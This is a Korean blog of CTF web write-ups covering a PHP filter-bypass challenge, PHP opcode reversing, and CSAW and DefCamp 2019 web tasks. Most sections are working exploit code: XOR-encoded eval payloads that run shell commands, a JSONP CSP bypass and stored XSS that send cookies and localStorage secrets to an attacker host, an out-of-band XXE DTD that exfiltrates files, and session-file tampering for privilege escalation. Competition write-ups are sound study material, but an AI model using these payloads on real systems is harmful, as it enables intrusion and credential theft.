특문 필터가 추가됬다. 근데 비트연산 중 ^가 필터 안된다. 이걸로 assert랑 eval만들어서 실행해주면 되고 그담엔 똑같이 proc_open 써주면 된다.


exploit.py


import requests

import urllib


def generate_string(input):

    result_1 = ""

    result_2 = ""

    for k in range(0,len(input)):

        for i in range(127,256):

            break_flag = 0

            for j in range(127,256):

                if (i^j)==ord(input[k]):

                    result_1 += "%" + hex(i)[2:]

                    result_2 += "%" + hex(j)[2:]

                    break_flag = 1

                    break

            if break_flag==1:

                break


    return result_1 + "^" + result_2


def exploit(payload,shell_command):

    url = "http://18.223.159.46/"

    params = {"thisfile":"/etc/","input":payload,"cmd":shell_command}

    result = requests.get(url,params=params).text

    print result

    return result


payload = "$a="+generate_string("assert")+";"

payload += "$a("+generate_string("eval($_GET['cmd']);")+");"


shell_command = """

$descr=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe",

            "w"

        )

    );

    $pipes = array();

    $process = proc_open("/readFlag", $descr, $pipes);

    if (is_resource($process)) {

        while ($f = fgets($pipes[1])) {

            echo "-pipe 1--->";

            echo $f;

        }

        fclose($pipes[1]);

        while ($f = fgets($pipes[2])) {

            echo "-pipe 2--->";

            echo $f;

        }

        fclose($pipes[2]);

        proc_close($process);

}

"""

exploit(urllib.unquote(payload),shell_command)



PHP+2.5


source.php


<?php

$input 
$_GET['input'];

function 
check(){
  global 
$input;
  foreach (
get_defined_functions()['internal'] as $blacklisted) {
      if (
preg_match ('/' $blacklisted '/im'$input)) {
          echo 
"Your input is blacklisted" "<br>";
          return 
true;
          break;
      }
  }
  
$blacklist "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(
preg_match("/$blacklist/i"$input)){
    echo 
"Do you really you need that?" "<br>";
    return 
true;
  }

  unset(
$blacklist);
  if(
strlen($input)>100){  #That is random no. I took ;)
    
echo "This is getting really large input..." "<br>";
    return 
true;
  }  
  return 
false;
}

$thisfille=$_GET['thisfile'];

if(
is_file($thisfille)){
  echo 
"You can't use inner file" "<br>";
}
else{
  if(
file_exists($thisfille)){
    if(
check()){
      echo 
"Naaah" "<br>";
    }else{
      eval(
$input);
    }
  }else{
    echo 
"File doesn't exist" "<br>";
  }

}

function 
iterate($ass){
    foreach(
$ass as $hole){
        echo 
"AssHole";
    }
}

highlight_file(__FILE__);
?>


1.5에서 문자열 길이 제한이 추가됬다. 근데이건 이전 문제에서 쓴것도 애초에 길이제한 안걸리는 방식으로 풀어서 문제가 안된다. 해당 문제는 사실 중간에 2.0버전이 있었고 2.5버전이 2.0버전 업그레이드 버전인 것 같은데 문제 출제하신분이 실수로 proc_open을 안막아놔서 언인텐으로 엄청 많이 풀린 것 같다. 실제로 2.0버전은 proc_open이 막혀있고 솔버가 1명인데 2.5버전은 해당 함수가 풀려있고 솔버가 훨씬 많다. 플래그 보면 세그먼트 폴트로 쉘 따는걸 의도하신 것 같은데 이건 따로 더 풀어봐야겠따.

익스는 2.0버전에서 assert가 안먹혀서 길이제한 맞춘다고 create_function 쓰던걸 그대로 썼다.


exploit.py


import requests

import urllib


def generate_string(input):

    result_1 = ""

    result_2 = ""

    for k in range(0,len(input)):

        for i in range(127,256):

            break_flag = 0

            for j in range(127,256):

                if (i^j)==ord(input[k]):

                    result_1 += "%" + hex(i)[2:]

                    result_2 += "%" + hex(j)[2:]

                    break_flag = 1

                    break

            if break_flag==1:

                break


    return result_1 + "^" + result_2


def exploit(payload,shell_command):

    url = "http://3.16.218.96/"

    params = {"thisfile":"/etc/","input":payload,"cmd":shell_command}

    result = requests.get(url,params=params).text

    print result

    return result


payload = "$a="+generate_string("create_function")+";"

payload += "$a("+generate_string(" ")+","+generate_string("}eval($_GET['cmd']);//")+");"

shell_command = """

$descr=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe",

            "w"

        )

    );

    $pipes = array();

    $process = proc_open("/readFlag", $descr, $pipes);

    if (is_resource($process)) {

        while ($f = fgets($pipes[1])) {

            echo "-pipe 1--->";

            echo $f;

        }

        fclose($pipes[1]);

        while ($f = fgets($pipes[2])) {

            echo "-pipe 2--->";

            echo $f;

        }

        fclose($pipes[2]);

        proc_close($process);

}

"""

exploit(urllib.unquote(payload),shell_command)



s3cur3-r3v


line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   NOP                                                      
  51     1        FETCH_R                      global              $1      '_GET'
         2        FETCH_DIM_R                                      $2      $1, 'flag'
         3        ASSIGN                                                   !0, $2
  53     4        FETCH_IS                                         $4      '_GET'
         5        ISSET_ISEMPTY_DIM_OBJ                       33554432  ~5      $4, 'flag'
         6      > JMPZ                                                     ~5, ->10
  54     7    >   INIT_FCALL                                               'printflag'
         8        SEND_VAR                                                 !0
         9        DO_FCALL                                      0          
  58    10    > > RETURN                                                   1

line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   RECV                                             !0      
   3     1        ASSIGN                                                   !1, 'Yaay+here+is+your+flag%3A+'
   4     2        ASSIGN                                                   !2, 'Naay+try+harder+%21%21%21'
   6     3        BIND_GLOBAL                                              !3, 'flag'
   8     4        ASSIGN                                                   !4, ''
  10     5        ASSIGN                                                   !5, 32
         6      > JMP                                                      ->13
  12     7    >   INIT_FCALL                                               'chr'
         8        SEND_VAR                                                 !5
         9        DO_ICALL                                         $16     
        10        ASSIGN_CONCAT                                 0          !4, $16
  10    11        POST_INC                                         ~18     !5
        12        FREE                                                     ~18
        13    >   IS_SMALLER                                       ~19     !5, 97
        14      > JMPNZ                                                    ~19, ->7
  15    15    >   STRLEN                                           ~20     !0
        16        MOD                                              ~21     ~20, 4
        17        IS_NOT_EQUAL                                     ~22     ~21, 0
        18      > JMPZ                                                     ~22, ->20
  17    19    > > EXIT                                                     'BAD+INPUT'
  20    20    >   STRLEN                                           ~24     !0
        21        MUL                                              ~25     ~24, 3
        22        DIV                                              ~26     ~25, 4
        23        INIT_FCALL                                               'strrpos'
        24        SEND_VAR                                                 !0
        25        SEND_VAL                                                 '%60'
        26        DO_ICALL                                         $27     
        27        IS_SMALLER                                       ~28     0, $27
        28      > JMPZ                                                     ~28, ->37
        29    >   STRLEN                                           ~29     !0
        30        INIT_FCALL                                               'strrpos'
        31        SEND_VAR                                                 !0
        32        SEND_VAL                                                 '%60'
        33        DO_ICALL                                         $30     
        34        SUB                                              ~31     ~29, $30
        35        QM_ASSIGN                                        ~32     ~31
        36      > JMP                                                      ->38
        37    >   QM_ASSIGN                                        ~32     0
        38    >   SUB                                              ~33     ~26, ~32
        39        ASSIGN_DIM                                               !6
        40        OP_DATA                                                  ~33
  21    41        INIT_FCALL                                               'str_split'
        42        SEND_VAR                                                 !0
        43        DO_ICALL                                         $34     
        44        ASSIGN                                                   !7, $34
  22    45        ASSIGN                                                   !8, 0
  23    46        ASSIGN                                                   !9, 
  24    47        ASSIGN                                                   !5, 0
        48      > JMP                                                      ->110
  25    49    >   INIT_FCALL                                               'strpos'
        50        SEND_VAR                                                 !4
        51        FETCH_DIM_R                                      $40     !7, !5
        52        SEND_VAR                                                 $40
        53        DO_ICALL                                         $41     
        54        ASSIGN_DIM                                               !9, 0
        55        OP_DATA                                                  $41
  26    56        INIT_FCALL                                               'strpos'
        57        SEND_VAR                                                 !4
        58        ADD                                              ~43     !5, 1
        59        FETCH_DIM_R                                      $44     !7, ~43
        60        SEND_VAR                                                 $44
        61        DO_ICALL                                         $45     
        62        ASSIGN_DIM                                               !9, 1
        63        OP_DATA                                                  $45
  27    64        INIT_FCALL                                               'strpos'
        65        SEND_VAR                                                 !4
        66        ADD                                              ~47     !5, 2
        67        FETCH_DIM_R                                      $48     !7, ~47
        68        SEND_VAR                                                 $48
        69        DO_ICALL                                         $49     
        70        ASSIGN_DIM                                               !9, 2
        71        OP_DATA                                                  $49
  28    72        INIT_FCALL                                               'strpos'
        73        SEND_VAR                                                 !4
        74        ADD                                              ~51     !5, 3
        75        FETCH_DIM_R                                      $52     !7, ~51
        76        SEND_VAR                                                 $52
        77        DO_ICALL                                         $53     
        78        ASSIGN_DIM                                               !9, 3
        79        OP_DATA                                                  $53
  29    80        POST_INC                                         ~54     !8
        81        FETCH_DIM_R                                      $56     !9, 0
        82        SL                                               ~57     $56, 2
        83        FETCH_DIM_R                                      $58     !9, 1
        84        SR                                               ~59     $58, 4
        85        BW_OR                                            ~60     ~57, ~59
        86        ASSIGN_DIM                                               !6, ~54
        87        OP_DATA                                                  ~60
  30    88        FETCH_DIM_R                                      $61     !9, 2
        89        IS_SMALLER                                       ~62     $61, 64
        90      > JMPZ                                                     ~62, ->109
  31    91    >   POST_INC                                         ~63     !8
        92        FETCH_DIM_R                                      $65     !9, 1
        93        SL                                               ~66     $65, 4
        94        FETCH_DIM_R                                      $67     !9, 2
        95        SR                                               ~68     $67, 2
        96        BW_OR                                            ~69     ~66, ~68
        97        ASSIGN_DIM                                               !6, ~63
        98        OP_DATA                                                  ~69
  32    99        FETCH_DIM_R                                      $70     !9, 3
       100        IS_SMALLER                                       ~71     $70, 64
       101      > JMPZ                                                     ~71, ->109
  33   102    >   POST_INC                                         ~72     !8
       103        FETCH_DIM_R                                      $74     !9, 2
       104        SL                                               ~75     $74, 6
       105        FETCH_DIM_R                                      $76     !9, 3
       106        BW_OR                                            ~77     ~75, $76
       107        ASSIGN_DIM                                               !6, ~72
       108        OP_DATA                                                  ~77
  24   109    >   ASSIGN_ADD                                    0          !5, 4
       110    >   INIT_FCALL                                               'count'
       111        SEND_VAR                                                 !7
       112        DO_ICALL                                         $79     
       113        IS_SMALLER                                       ~80     !5, $79
       114      > JMPNZ                                                    ~80, ->49
  37   115    >   ASSIGN                                                   !10, ''
  38   116        ASSIGN                                                   !5, 0
       117      > JMP                                                      ->125
  40   118    >   INIT_FCALL                                               'chr'
       119        FETCH_DIM_R                                      $83     !6, !5
       120        SEND_VAR                                                 $83
       121        DO_ICALL                                         $84     
       122        ASSIGN_CONCAT                                 0          !10, $84
  38   123        POST_INC                                         ~86     !5
       124        FREE                                                     ~86
       125    >   INIT_FCALL                                               'count'
       126        SEND_VAR                                                 !6
       127        DO_ICALL                                         $87     
       128        IS_SMALLER                                       ~88     !5, $87
       129      > JMPNZ                                                    ~88, ->118
  42   130    >   ASSIGN                                                   !11, 'YtPEU%10E%24%19%5DV%11UE%92E%04%D8%5De%99%5D5RQ%25SAU%98YuVU%16%10e%85%D1I%96%13Y%96%17M%85%D6E%85%D6Q%04V'
  43   131        IS_IDENTICAL                                     ~90     !10, !11
       132      > JMPZ                                                     ~90, ->136
  44   133    >   CONCAT                                           ~91     !1, !3
       134        ECHO                                                     ~91
       135      > JMP                                                      ->137
  47   136    >   ECHO                                                     !2
  49   137    > > RETURN                                                   null


zend engine opcode 분석 문제다. 해당 opcode를 한땀한땀 분석해서 php 코드로 변환한 뒤 코드 분석해서 플래그 띄우는 인풋 구해주면 된다.


change.php


<?php


function printflag($input){

$success_message = "Yaay+here+is+your+flag%3A+";

$fail_message = "Naay+try+harder+%21%21%21";

global $flag;


$string_list = ""; 

$string_count = 32;


for ($string_count; $string_count<97; $string_count++){

$string_list .= (string)chr($string_count);

}


$input_mod_4 = strlen($input) % 4;


if ($input_mod_4 != 0){

exit("BAD INPUT");

}


$input_new_length = strlen($input) * 3 / 4;


if(strrpos($input,"`")>0){

$check_input = strlen($input) - strrpos($input,"`");

}

else{

$check_input = 0;

}


$input_array = str_split($input);

$tmp_array = array();

$calc_input_count = 0;


for ($i=0; $i<count($input_array); $i+=4){

$tmp_array[0] = strpos($string_list,$input_array[$i]);

$tmp_array[1] = strpos($string_list,$input_array[$i+1]);

$tmp_array[2] = strpos($string_list,$input_array[$i+2]);

$tmp_array[3] = strpos($string_list,$input_array[$i+3]);



$calc_input_result_array[$calc_input_count] = ($tmp_array[0]<<2) | ($tmp_array[1]>>4);

$calc_input_count += 1;


if ($tmp_array[2]<64){

$calc_input_result_array[$calc_input_count] = ($tmp_array[1]<<4) | ($tmp_array[2]>>2);

$calc_input_count += 1;

}

else{

continue;

}


if ($tmp_array[3]<64){

$calc_input_result_array[$calc_input_count] = ($tmp_array[2]<<6) | ($tmp_array[3]);

$calc_input_count += 1;

}

}

$result = "";

var_dump($calc_input_result_array);

echo "\n";

for ($i=0;$i<count($calc_input_result_array);$i++){

$result.=chr($calc_input_result_array[$i]);

}


if ("YtPEU\x10E\x24\x19\x5DV\x11UE\x92E\x04\xD8\x5De\x99\x5D5RQ\x25SAU\x98YuVU\x16\x10e\x85\xD1I\x96\x13Y\x96\x17M\x85\xD6E\x85\xD6Q\x04V"==$result){

echo "suc";

}

else{

echo "fail";

}

}


$input = $_GET['flag'];


if (!isset($_GET['flag'])){

echo "not Exist Input";

return;

}

else{

printflag($input);

}


exploit.py


import requests string_table = """ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`""" enc_text = "YtPEU\x10E\x24\x19\x5DV\x11UE\x92E\x04\xD8\x5De\x99\x5D5RQ\x25SAU\x98YuVU\x16\x10e\x85\xD1I\x96\x13Y\x96\x17M\x85\xD6E\x85\xD6Q\x04V" input = "" for p in range(0,len(enc_text),3): find_result = enc_text[p:p+3] for i in range(0,65): for j in range(0,65): if ((i<<2) | (j>>4))%256 == ord(find_result[0]): for k in range(0,64): if ((j<<4) | (k>>2))%256 == ord(find_result[1]): for a in range(0,64): if ((k << 6) | a)%256 == ord(find_result[2]): print "count " + str(p) + " = " + string_table[i]+string_table[j]+string_table[k]+string_table[a] + " -> " + find_result input += string_table[i]+string_table[j]+string_table[k]+string_table[a] print "Find Input = " + input

url ="http://3.15.186.35/?flag="+input

print requests.get(url).text



















'CTF > Writeup' 카테고리의 다른 글

ASIS CTF 2019 Final Web Write up  (0) 2019.11.18
CCE(사이버공격방어대회) 2019 Write up  (0) 2019.09.29
CSAW CTF 2019 Web Write up  (0) 2019.09.16
DefCamp CTF 2019 Web Write up  (0) 2019.09.09
2019 사이버작전 경연대회 THE CAMP  (0) 2019.08.17
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Baby CSP

stored xss가 터지는데 csp가 걸려있다. 룰은 아래와 같다.

default-src 'self'; script-src 'self' *.google.com; connect-src *

대놓고 jsonp쓰라고 알려주고 있다. google.com 서브도메인 아무거나 찾아서 공격해주면 된다.

payload = <script src="https://accounts.google.com/o/oauth2/revoke?callback=location.href='http://my_ip/'.concat(document.cookie);"></script>

flag = flag{csp_will_solve_EVERYTHING}


unagi

xxe가 있는데 필터링이 존재한다. ENTITY , SYSTEM 등 xxe 할 때 쓸만한 문자열들을 다 필터하고 있는데 인코딩을 utf-16be형태 써서 우회해주면 된다.

이걸로 필터 우회해주면 인풋으로 뿌려지는 값 길이가 죄다 짧아서 플래그 파일 내용이 제대로 안나오는데 이건 그냥 OOB로 우회해주면 된다.

payload.xml

printf '%s' '<?xml version="1.0" encoding="UTF-16BE"'> payload

printf '%s' '?><!DOCTYPE svg [<!ENTITY % dtd SYSTEM "http://my_ip/evil.dtd">%dtd;%param1;]><users><user><name>&ssr;</name></user></users>' | iconv -f utf-8 -t utf-16be >> payload


evild.dtd

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">

<!ENTITY % param1 "<!ENTITY ssr SYSTEM 'http://my_ip:9999/%data;'>">


flag = flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}


Secure File Storage

개인적으로 재밌게 푼 문제다.

문제에서 제공해주는 소스는 다음과 같다.

client.py

import base64

import getpass

import os

import sys

import requests


api_base = os.environ.get('SFS_API', 'http://web.chal.csaw.io:1000/api/v1/')


session = requests.Session()


def api_register(username, password):

    resp = session.post(api_base + 'register', data={"username": username, "password": password}).json()

    return resp['status'] == 'ok'


def api_login(username, password):

    resp = session.post(api_base + 'login', data={"username": username, "password": password}).json()

    return resp['status'] == 'ok'


def api_get_file(path):

    resp = session.post(api_base + 'file/read', data={"path": path})

    if resp.status_code == 200:

        return base64.b64decode(resp.content)

    return None


def api_update_file(path, content):

    resp = session.post(api_base + 'file/edit', data={"path": path, "content": base64.b64encode(content).decode('ascii')}).json()

    return resp['status'] == 'ok'


def api_create_file(path, content):

    return api_update_file(path, content)


def api_delete_file(path):

    resp = session.post(api_base + 'file/delete', data={"path": path}).json()

    return resp['status'] == 'ok'


def api_list_files(path='/'):

    resp = session.post(api_base + 'file/list', data={"path": path}).json()

    if resp['status'] == 'ok':

        return resp['data']

    return None


def api_create_symlink(path, target):

    resp = session.post(api_base + 'file/symlink', data={"path": path, "target": target}).json()

    return resp['status'] == 'ok'


if __name__ == "__main__":

    try:

        input = raw_input

    except NameError:

        pass


    username = os.environ.get('SFS_USERNAME')

    if username is None:

        username = input('Username: ')


    password = os.environ.get('SFS_PASSWORD')

    if password is None:

        password = getpass.getpass('Password: ')


    if not api_login(username, password):

        print("Invalid username or password")

        sys.exit(1)

해당 코드를 통해 직접 api 기능을 요청해보면 로그인한 계정의 현재 경로에는 파일 읽기,쓰기가 되는데 다른 경로로 요청하면 경로 검증을 하고있었다.

이걸 우회하기위해 symlink 기능을 사용해주면 되는데, 현재 경로에 내가 읽고싶거나 덮고싶은 파일을 대상으로 심볼릭 링크를 걸어주면 된다.

이걸로 소스코드를 쭉쭉 leak 해보면 아래와 같이 내가 생성한 일반 계정과 같은 경우 읽기,쓰기 권한만 있고 리스팅,어드민 권한이 없는걸 볼 수 있다.

<?php


require_once 'db.php';


abstract class Privilege {

    const FILE_READ = 1 << 0;

    const FILE_WRITE = 1 << 1;

    const FILE_LIST = 1 << 2;

    const ADMIN = 1 << 3;

}


class User extends DBObject {

    public $username;

    public $password;

    public $privs = Privilege::FILE_READ | Privilege::FILE_WRITE;


    public static function getByName(string $username) {

        return DB::getObjectByProp(get_called_class(), "username", $username);

    }

}

문제에서는 어드민 파일을 찾으라고 했고, listing 기능이 존재하는걸 보니 해당 기능을 써야될 것 같다는 생각이 들었고, 어떻게 해야할지 생각하다가 그냥 session 파일을 수정해버리면 되겟다고 생각했다.

path=1234567&target=../../../../../../../../tmp/sess_huqtp469i1ni15bs96tfpgq7p7 

이런식으로 링크 걸고 읽어보면 현재 내가 로그인한 계정의 객체 정보가 아래와 같이 박혀있는걸 볼 수 있었다.

current_user|O:4:"User":4:{s:8:"username";s:23:"asdfasdgsadfasdgasdgasd";s:8:"password";s:60:"$2y$10$RArHdDvtipJfkfCQ3KxEe.n9eAYQJLQMOto5CEEmiM.6X9AU162Hq";s:5:"privs";i:3;s:2:"id";i:242;}

여기서 privs가 계정의 권한이었는데 아래와 같이 이걸 15로 바꿔서 리스팅,어드민 권한까지 추가해주니 관리자 페이지, 리스팅 기능 사용이 가능해졌다.

current_user|O:4:"User":4:{s:8:"username";s:23:"asdfasdgsadfasdgasdgasd";s:8:"password";s:60:"$2y$10$RArHdDvtipJfkfCQ3KxEe.n9eAYQJLQMOto5CEEmiM.6X9AU162Hq";s:5:"privs";i:15;s:2:"id";i:242;}

여기서 이제 됬구나하고 리스팅 열심히 하면서 플래그 파일이랑 어드민 관련 파일 같은걸 찾아봤는데 암것도 없었다.

뭐지 하다 어드민 계정이 업로드한 디렉토리에 존재하는 flag.txt를 읽어보니 아래와 같이 암호화된 값이 박혀있는걸 볼 수 있었다.

flag.txt

U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ==

이 값과 같은 경우 해당 문제에서 파일을 업로드 할 때 파일 내용을 localStorage의 키 값을 통해 암호화해서 저장하고 있기 때문에 admin의 localStorage key값을 leak해야 했다.

이걸 가능하게 하려면 xss를 터트리는 수밖에 없어서 코드를 유심히 보니 admin이 로그인한 세션에 username값에 스크립트를 박아넣으면 admin이 admin page에 접근할때 xss가 터져서 key값을 leak할 수 있겠다 싶었다.

그래서 이 시나리오대로 진행하려고 어드민 session을 찾기 위해 tmp 디렉토리에 있는 session 파일을 리스팅해보니 한 3만개정도가 있었다...ㅋㅋ

너무 많아서 당황했다가 일단 합리적으로 생각을 해보기로 했고, admin 봇이 지속적으로 새로운 세션을 통해 로그인하고 있지 않을까? 라는 생각에 리스팅을 연속으로 두번진행해서 새로 생긴 세션에 대해 xss를 박아넣어면 하고 아래 코드를 미친듯이 돌려봤다.

import requests

import json


def get_list(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/list"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": file_path}

    result = requests.post(url, data=data, headers=header).text

    a = json.loads(result)

    result = a['data']

    return result


def link(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/symlink"

    header = {"Cookie":"PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path":"12345","target":file_path}

    result = requests.post(url,data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path


def read(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/read"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345"}

    result = requests.post(url, data=data,headers=header).text

    if 'current_user|O:4:"User' in result:

        print file_path

        print result

def edit(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/edit"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345","content":"""current_user|O:4:"User":4:{s:8:"username";s:104:"<script>location.replace('http://my_ip/?d='.concat(localStorage.encryptSecret));</script>";s:8:"password";s:60:"$2y$10$AxHUirflQ7PbIt871V3f.eqqA/9SVxNenqCzlkAa99TlszFoHq.lO";s:5:"privs";i:15;s:2:"id";i:1;}"""}

    result = requests.post(url, data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path


for k in range(0,100):

    

    list_1 = get_list("123456")

    list_2 = get_list("123456")

    result = list(set(list_2) - set(list_1))

    print result


    for i in range(0,len(result)):

        file_path = "../../../../../../../../tmp/" + result[i]

        link(file_path)

        read(file_path)

        edit(file_path)

        read(file_path)

한참 돌리니까 새로 생긴 세션 중에 admin 권한을 가진 세션도 있었고, 해당 세션을 overwrite해서 xss박으니까 가끔 key값이 날라오긴 했는데, 이게 진짜 어드민이 아니고 죄다 다른 문제푸는 사람이었다..ㅋㅋ

그래서 한참 고민하다 admin이 계속 고정된 세션을 유지하고 있는거면 대충 3만개 중에 진짜 어드민 세션이 있을거고, 이중에서 username이 admin이고 priv가 15, id가 1인애만 어떻게 찾으면 되겠다 싶었다.

그리고 이 생각대로 쭉 진행해봤는데 위에서 admin이라고 판별한 기준인 파일들이 엄청 많았다. 이게 근데 생각해보니 그냥 문제푸는 사람들이 세션 파일 내용 오버라이트가 가능하니까 admin이라고 보이는 객체를 엄청나게 생성해서 세션 파일 내용만가지고 도저히 어느게 진짜 admin session인지 구분할 수가 없었다.

여기서 한참 머리싸매다 문제 힌트로 어드민이 계속 사이트에 방문한다고 했으니, 이게 만약 봇이 로그인->어드민페이지 이 루틴도는거면 고정된 세션이라는 가정하에 내가 어드민 세션 파일을 덮어도 다시 어드민 원래 값으로 돌아올거라고 생각했다.

이 시나리오를 토대로 전체 세션 파일에 대해 

읽기 -> 쓰기 -> 읽기 -> 읽기 -> 읽기 -> 읽기 -> 읽기

요 형태로 진행했을때 내가 세션 내용을 덮은 후에 다시 원본 값으로 돌아오는 세션을 찾았다.

여기서 거의 반포기 상태로 돌린거였는데 파일 하나가 나왔다...

sess_4umud1lupqn0mpibor27r283o1

이거 가지고 아래 코드를 통해 xss를 다시 박아보니 admin의 localStorage.encryptSecret 키를 leak 할 수 있었다.


leak_key.py

import requests

import json


def get_list(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/list"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": file_path}

    result = requests.post(url, data=data, headers=header).text

    a = json.loads(result)

    result = a['data']

    return result


def link(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/symlink"

    header = {"Cookie":"PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path":"12345","target":file_path}

    result = requests.post(url,data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path


def read(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/read"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345"}

    result = requests.post(url, data=data,headers=header).text

    if 'current_user|O:4:"User' in result:

        print file_path

        print result

def edit(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/edit"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345","content":"""current_user|O:4:"User":4:{s:8:"username";s:104:"<script>location.replace('http://my_ip/?d='.concat(localStorage.encryptSecret));</script>";s:8:"password";s:60:"$2y$10$AxHUirflQ7PbIt871V3f.eqqA/9SVxNenqCzlkAa99TlszFoHq.lO";s:5:"privs";i:15;s:2:"id";i:1;}"""}

    result = requests.post(url, data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path



for i in range(0,100):

    file_path = "../../../../../../../../tmp/sess_4umud1lupqn0mpibor27r283o1"

    link(file_path)

    read(file_path)

    edit(file_path)

    read(file_path)

localStorage.encryptSecret = wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds=

leak한 키 값으로 flag.txt에 있는 암호화 파일을 복호화 했더니 플래그가 나왔다.

CryptoJS.AES.decrypt("U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ==",atob("wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds=")).toString();

Flag = flag{fddb53d704808cb859862d3eb9e9609bae3711bb}



'CTF > Writeup' 카테고리의 다른 글

CCE(사이버공격방어대회) 2019 Write up  (0) 2019.09.29
InCTF 2019 Web Write up  (0) 2019.09.23
DefCamp CTF 2019 Web Write up  (0) 2019.09.09
2019 사이버작전 경연대회 THE CAMP  (0) 2019.08.17
DEF CON CTF Qualifier 2019 vitor  (0) 2019.07.15
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Downloader v1


들어가보면 url 입력하는 기능하나가 있다. default로 박힌 값을 입력해보면 아래와 같은 에러가 뜨는걸 볼 수 있다.


cd uploads/5d7623f3880b62ddb90e13f31a558

$ wget http://example.com/image.jpg 2&gt;&amp;1

--2019-09-09 10:05:39--  http://example.com/image.jpg

Resolving example.com (example.com)... 93.184.216.34, 2606:2800:220:1:248:1893:25c8:1946

Connecting to example.com (example.com)|93.184.216.34|:80... connected.

HTTP request sent, awaiting response... 404 Not Found

2019-09-09 10:05:39 ERROR 404: Not Found.


$ bash -c 'rm uploads/5d7623f3880b62ddb90e13f31a558/*.{php,pht,phtml,php4,php5,php6,php7}'


인풋이 wget의 url 인자로 들어가는데 \n , ; , | , & , ` , $ 등 죄다 막혀있다. 그리고 추가로 php 실행 확장자면 삭제하길래 웹쉘 올리면 되는건가 싶어서 http://my_ip/webshell.txt -O /var/www/html/uploads/이전의생성된디렉토리/webshell.php 이런식으로해서 php 올리고 실행해보니까 실행이 안됬다. 뭐지 하다가 커멘드 인젝션은 안되도 wget 옵션이랑 인자는 줄 수 있으니까 쓸만한거 있나보다가 --input-file 요거 사용해서 flag.php 읽었을 때 도메인에러 나게해서 플래그를 구했다. 


payload = http://example.com/image.jpg --input-file='../../flag.php'




imgur


문제에 들어가보면 일단 lfi가 터진다. 그래서 웹쉘을 아무렇게나 올리고 땡겨주면 된다.


뭐 땡길까 보다가 일단 업로드 기능이 있었다.


프로필 사진을 변경할 때 아래와 같이 i.imgur.com이란 도메인에 존재하는 파일 내용을 가져와서 업로드를 한다.


https://imgur.dctfq19.def.camp/index.php?page=profile&setpicture=https://i.imgur.com/W4a51sL.jpg 


이 때 setpicture 파라미터 값에 대해서 도메인이랑 확장자 검증을 하는데 이게 우회가 안된다.


그래서 해당 사이트에 직접 웹쉘이 박힌 이미지 파일을 올려야 되는데 그냥 대충 이미지 파일에 웹쉘 넣어서 올리면 안되길래 


https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/


요고 참고해서 웹쉘 박아서 올렸다.


그다음엔 그냥 i.imgur.com에 올린 웹쉘가지고 프로필 사진 업로드한담에 lif로 땡겨주면 쉘 딸수있고 플래그 찾아주면 된다.



api


문제 서버가 닫혔는데 대충 기억해보면 ///etc/passwd였나 이런식으로 요청해주면 file download가 된다. 


이걸로 소스 쭉쭉 긁어오면


if(urlParts[0]) {

    switch(urlParts[0]) {

        case 'getconfig':

            functions.getConfigFromVault(request, response);

        break;

        case 'proxy':

            functions.getProxy(request, response);

        break;

        default:

            new doRequest(request, response);

            break;

    }

} else {

    new doRequest(request, response);

}


getProxy: function(request, response) {

   this.getRequestFields(request, global.config, function(fields) {


       if(!fields || !fields.url) {

           response.end('Invalid fields.');

       }



       if(fields.url.indexOf('get_secret') !== -1 || fields.url.indexOf('/') !== -1) {

           response.end("Invalid request");

           return;

       }

       

       fields.url = Buffer.from(fields.url.toLowerCase(), "latin1").toString();


       var options = {

         host: global.config.PROXY,

         port: 2222,

         path: fields.url

       };


       http.get(options, function(rresponse) {

         var body = '';

         rresponse.on('data', function(chunk) {

           body += chunk;

         });

         rresponse.on('end', function() {

           response.end(body);

         });

       }).on('error', function(e) {

           response.end("Got error: " + e.message);

       }); 

   });

},


요런 코드가 있다.


